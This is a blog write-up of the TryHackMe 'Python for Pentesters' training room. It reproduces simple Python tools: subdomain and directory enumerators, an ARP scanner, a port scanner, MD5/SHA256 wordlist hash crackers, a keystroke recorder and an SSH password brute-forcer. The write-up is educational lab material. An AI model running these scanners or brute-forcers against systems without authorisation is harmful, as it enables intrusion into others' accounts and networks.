TryHackMe: Python for Pentesters

Python is probably the most widely used and most convenient scripting language in cybersecurity. This room covers real examples of Python scripts including hash cracking, key logging, enumeration and scanning.

The room is https://tryhackme.com/room/pythonforcybersecurity.

Task 1: Introduction

Python can be the most powerful tool in your arsenal as it can be used to build almost any of the other penetration testing tools. The scope of this module does not allow us to go into too many details on Python. Still, we will cover several key areas that will be useful during engagements and help you better understand Python.

We are not learning to become a developer; our objective is to become a penetration tester. This room will give you pointers on which you can build and improve. Examples are given on a “one of each” basis, and no code should be considered as “the only and correct way” to reach a solution. Our goal is then to build quick and effective tools that will help us in our daily tasks.

Notice: Make sure you have downloaded the wordlist file from Task 2 before proceeding with the following questions. The wordlist was also added to the AttackBox and is located in the following path `/usr/share/wordlists/PythonForPentesters/wordlist2.txt`.

Answer the questions below:

Read:

o https://stackabuse.com/creating-executable-files-from-python-scripts-with-py2exe
o https://www.py2exe.org/index.cgi/Tutorial
o https://samialperenakgun.com/blog/2019/02/py2exe/
o https://www.dreamincode.net/forums/topic/77411-py2exemaking-exe-file-from-python-script/
o https://dzone.com/articles/making-a-stand-alone-executable-from-a-python-scri

No answer needed.

Task 2: Subdomain Enumeration

import os,requests,sysfile = f"{sys.argv[1]}"
path=os.getcwd() + file
sub_list = open(file).read()
subdoms = sub_list.splitlines()
for sub in subdoms:
sub_domains = f"http://{sub}.{sys.argv[2]}"
try:
requests.get(sub_domains)

except requests.ConnectionError:
pass

else:
print("Valid domain: ",sub_domains)

Answer the questions below:

Read:

o https://blog.sweepatic.com/art-of-subdomain-enumeration
o https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6
o https://resources.infosecinstitute.com/topic/dns-enumeration-techniques-in-linux/
o https://dnsdumpster.com/
o https://0xffsec.com/handbook/information-gathering/subdomain-enumeration/
o https://0xpatrik.com/wildcard-domains/
o https://ricardoiramar.medium.com/subdomain-enumeration-tools-evaluation-57d4ec02d69e
o https://niiconsulting.com/checkmate/2020/09/passive-subdomain-enumeration-part-1/
o https://niiconsulting.com/checkmate/2020/10/active-subdomain-enumeration-part-2/

Read:
o https://careerkarma.com/blog/python-f-string
o https://www.geeksforgeeks.org/formatted-string-literals-f-strings-python/
o https://realpython.com/python-f-strings/
o https://www.geeksforgeeks.org/how-to-use-sys-argv-in-python/
o https://www.pythonforbeginners.com/system/python-sys-argv
o https://towardsdatascience.com/3-ways-to-handle-args-in-python-47216827831a
o www.tutorialspoint.com/python/python_command_line_arguments.htm

Task 3: Directory Enumeration

import os,requests,sysfile = f"{sys.argv[1]}"
path=os.getcwd() + file
sub_list = open(file).read()
directories = sub_list.splitlines()
for dir in directories:
dir_enum = f"http://{sys.argv[2]}/{dir}.html"
r = requests.get(dir_enum)
if r.status_code==404:
pass
else:
print("Valid directory:" ,dir_enum)

Answer the questions below:

Task 4: Network Scanner

`apt install python3-scapy`

from scapy.all import *interface = f"{sys.argv[1]}"
ip_range = f"{sys.argv[2]}"
broadcastMac = "ff:ff:ff:ff:ff:ff"
packet = Ether(dst=broadcastMac)/ARP(pdst = ip_range)ans, unans = srp(packet, timeout =2, iface=interface, inter=0.1)for send,receive in ans:
print (receive.sprintf(r"%Ether.src% - %ARP.psrc%"))

Answer the questions below:

Review the above code.

Review the above code.

The variable which eth0 is assigned.

Task 5: Port Scanner

import sys,socketip =  f"{sys.argv[1]}"
open_ports =[]
ports = range(1, 65535)def probe_port(ip, port, result = 1):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.5)
r = sock.connect_ex((ip, port))
if r == 0:
result = r
sock.close()
except Exception as e:
pass
return result
for port in ports:
sys.stdout.flush()
response = probe_port(ip, port)
if response == 0:
open_ports.append(port)

if open_ports:
print ("Open Ports are: ")
print (sorted(open_ports))
else:
print ("Looks like no ports are open :(")

Answer the questions below:

Read: https://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html

Review the code and Read: https://docs.python.org/3/howto/sockets.html

Read: https://www.geeksforgeeks.org/python-sys-stdout-flush/

Check the scan results.

Check the scan results.

Task 6: File Downloader

import requests

url = 'https://download.sysinternals.com/files/PSTools.zip'
r = requests.get(url, allow_redirects=True)
open('PSTools.zip', 'wb').write(r.content)

Answer the questions below:

Review:

o https://www.w3schools.com/python/ref_requests_get.asp
o https://docs.python-requests.org/en/master/user/quickstart/
o https://realpython.com/python-requests/

Read: https://www.praetorian.com/blog/threat-hunting-how-to-detect-psexec/

Check: https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

Task 7: Hash Cracker

import hashlib

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.md5(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)

Answer the questions below:

Go back to Task 3.

No answer needed.

Review:

o https://www.pythonpool.com/python-sha256/
o https://docs.python.org/3/library/hashlib.html

import hashlib

wordlist_location = str(input('Enter wordlist file location: '))
hash_input = str(input('Enter hash to be cracked: '))

with open(wordlist_location, 'r') as file:
for line in file.readlines():
hash_ob = hashlib.sha256(line.strip().encode())
hashed_pass = hash_ob.hexdigest()
if hashed_pass == hash_input:
print('Found cleartext password! ' + line.strip())
exit(0)

Task 8: Keyloggers

`pip3 install keyboard`

import keyboard
keys = keyboard.record(until ='ENTER')
keyboard.play(keys)

Answer the questions below:

Review:

o https://www.tecmint.com/install-pip-in-linux/

o https://linuxize.com/post/how-to-install-pip-on-ubuntu-18.04/

o https://help.dreamhost.com/hc/en-us/articles/115000699011-Using-pip3-to-install-Python3-modules

o https://help.dreamhost.com/hc/en-us/articles/115000221112

Tricks:
o https://pip.pypa.io/en/stable/installation/

o https://github.com/Dewalt-arch/pimpmykali

o https://stackoverflow.com/questions/55422929/e-unable-to-locate-package-python-pip-on-ubuntu-18-04

o https://stackoverflow.com/questions/65869296/installing-pip-is-not-working-in-python-3-6

Check the code in the above.

Task 9: SSH Brute Forcing

import paramiko,sys,os

target = str(input('Please enter target IP address: '))
port = str(input('Please enter the SSH port number: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))

def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
ssh.connect(target, port, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code

with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()

try:
response = ssh_connect(password)

if response == 0:
print('password found: '+ password)
exit(0)
elif response == 1:
print('no luck')
except Exception as e:
print(e)
pass

file.close()

Answer the questions below:

Check the Task 3.

Run the code.

Task 10: Extra challenges

As is often the case in programming, there rarely is a single correct answer for these kinds of applications. As a penetration tester, your usage of programming languages will be different for developers. While they may care about best practices and code hygiene, your goal will more often be to end with a code that works as you want it to.

Based on what we have covered in this room, here are a few suggestions about how you could expand these tools or start building your own using Python:

Answer the questions below:

No answer needed.

Thanks for reading and sharing. See you later, stay health and have a nice day.

You can find me on:

LinkedIn: https://tr.linkedin.com/in/hamdisevben

Twitter: https://twitter.com/h4md153v63n

THM: https://tryhackme.com/p/h4md153v63n

Youtube: https://www.youtube.com/channel/UCO3GStB1UtVgt_DrtjH23XA/videos

Hamdi Sevben

I’ve got the badge of “Scripting for Pentesters” after completing this room.

The last but not the least, taking notes especially after the rooms and the machines which cover knowledge and descriptions is so crucial, and handy to create your own methodology when you need and make easier to recall you.

#tryhackme #python-for-pentesters #pythonforcybersecurity #subdomain-enumeration #directory-enumeration #network-scanner #port-scanner #file-downloader #hash-cracker #keyloggers #ssh-brute-forcing